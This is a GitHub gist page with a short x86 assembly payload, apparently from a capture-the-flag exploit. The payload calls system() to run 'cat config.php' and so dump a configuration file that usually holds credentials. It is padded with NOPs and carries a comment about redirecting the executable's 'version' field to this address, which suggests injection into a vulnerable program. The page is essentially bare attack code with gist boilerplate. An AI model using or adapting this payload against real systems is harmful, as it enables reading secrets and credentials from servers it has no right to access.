Created
October 25, 2012 19:00
-
-
Save ancat/3954712 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
section .data | |
cmd: | |
db "cat config.php", 10 | |
section .text | |
global _start | |
extern system | |
_start: | |
push cmd | |
call system | |
mov al, 1; Change the "version" of the executable to point to this address | |
nop | |
nop | |
nop | |
nop | |
nop | |
nop | |
nop | |
nop | |
int 128 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment